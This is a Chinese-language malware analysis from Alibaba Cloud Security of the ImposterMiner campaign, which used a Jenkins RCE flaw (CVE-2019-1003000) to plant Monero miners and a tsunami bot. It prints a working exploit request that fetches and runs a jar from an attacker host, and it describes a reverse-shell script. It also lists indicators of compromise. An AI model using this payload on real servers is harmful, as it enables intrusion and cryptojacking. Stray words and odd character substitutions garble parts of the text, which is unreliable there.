阿里云安全于近日捕获到一块儿使用Jenkins RCE漏洞进行攻击的挖矿事件。除挖矿外,攻击者还曾植入具备C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐患。html
因为攻击者直接复制了Jenkins系列漏洞发现者(Orange.tw)在博客上公布的poc,攻击payload含有"Orange.tw"字样,可能被误认为是漏洞发现者在进行测试,所以咱们将木马命名为ImposterMiner(冒充者)。web
本次事件具备两个特色:一是ImposterMiner木马开始爆发的时间距离Jenkins漏洞利用方法公开的时间极短,仅相隔2天;二是仅靠web漏洞直接入侵,不具备蠕虫传染性。这两点与不久前利用Nexus Repository Manager 3新漏洞进行攻击的watchbog挖矿木马事件较为类似。shell
本文将分析ImposterMiner挖矿木马的结构,并就如何清理、预防相似挖矿木马给出安全建议。安全
上图展现了ImposterMiner挖矿木马的感染流程。攻击者首先使用以下payload攻击jenkins服务bash
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host:【victim_host】:【jenkins_port】
复制代码
该payload使用了CVE-2019-1003000这个jenkins RCE(远程命令执行)漏洞,致使受害主机请求http://45.55.211.79/tw/orange/poc/8/poc-8.jar文件,并在本地执行。这里不难发现,攻击者只是简单修改了漏洞发现者博客上公开的代码,于是直接以orange.tw(漏洞发现者的名字)和poc(Proof of Concept,可以证实漏洞存在的代码,一般点到为止不形成实际损害)做为项目和模块名,乍看之下,很是容易将这次攻击误认为漏洞做者进行的无害的安全测试。服务器
poc-8.jar的代码以下架构
其中请求的http://45.55.211.79/.cache/jenkins/n2.sh脚本,将会建立/tmp/.scr文件夹,并请求下载45.55.211.79/.cache/jenkins/s.tar.gz:工具
解压s.tar.gz获得以下左图所示文件夹,并运行右图中的go脚本,根据当前机器的架构,选择运行i686或x86_64。post
i686和x86_64这两个程序都是xmrig改写而成的矿机,主要在nanopool.com矿池进行挖矿。它们还会将自身写入crontab文件,每分钟执行,进行持久化,此处再也不赘述。测试
此外,45.55.211.79服务器上存有多种历史上曾经使用,或还没有启用的payload。
例如3月7日,阿里云安全曾捕获到攻击者使用图中文件夹poc/5/poc-5.jar中的payload,会致使被入侵主机下载解压并运行http://45.55.211.79/.cache/jenkins/jks.tar.gz。该压缩包中包括tsunami木马变种,可以经过IRC接收下发指令并执行各类攻击,以下图所示。
又例如http://45.55.211.79/.cache/jenkins/jen.pl会使被入侵主机反弹shell到190.121.18.164:1090
以上这些恶意文件的最后修改日期说明ImposterMiner的做者依然在频繁进行更新,同时还说明做者并不知足于在受害者主机上安静挖矿,而是时刻准备着将受害主机用做ddos肉鸡,或使用shell对主机进行任意操纵。
根据阿里云安全监控到的入侵趋势(以下图),ImposterMiner挖矿木马从漏洞公布后仅两天(2月21日)就开始利用其进行攻击和挖矿,给用户留下的修复时间窗口很是小。
攻击数量于3月3日左右达到最高峰,而且至今仍保持着较高的水平。
ImposterMiner恶意挖矿木马当前使用的钱包地址为:42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
从矿池数据看出,该地址HashRate波动较大,最高时达到236KH/s,平均值在150KH/s左右,可能已有1~2万台服务器被入侵挖矿。该钱包地址累计收益为169门罗币左右,约合9120美圆。
除了上述地址外,攻击者还使用过至少一个不一样的钱包地址:4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5。
Jenkins做为最受欢迎的持续集成(CI)工具,使用量很大。上一次Jenkins远程命令执行漏洞(CVE-2017-1000353)的曝光,致使了“史上最大规模挖矿事件之一”,攻击者收益逾300万美圆。
所以,Jenkins漏洞可能形成影响的范围巨大。这也致使逐利的攻击者对Jenkins虎视眈眈,一有新的漏洞便迅速加以利用;此次RCE漏洞从公开到开始被黑产利用仅花了2天,就是很好的证实。
针对这次安全事件,阿里云安全给出如下预防和清理建议:
钱包地址:
4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
矿池地址:
www.supportxmr.com
xmr.nanopool.org
恶意程序:
恶意url:
http://45.55.211.79/.cache/jenkins/
http://45.55.211.79/tw/orange/poc/
恶意主机:
190.121.18.164
Reference
blog.orange.tw/2019/02/abu…
research.checkpoint.com/jenkins-min…
本文为云栖社区原创内容,未经容许不得转载。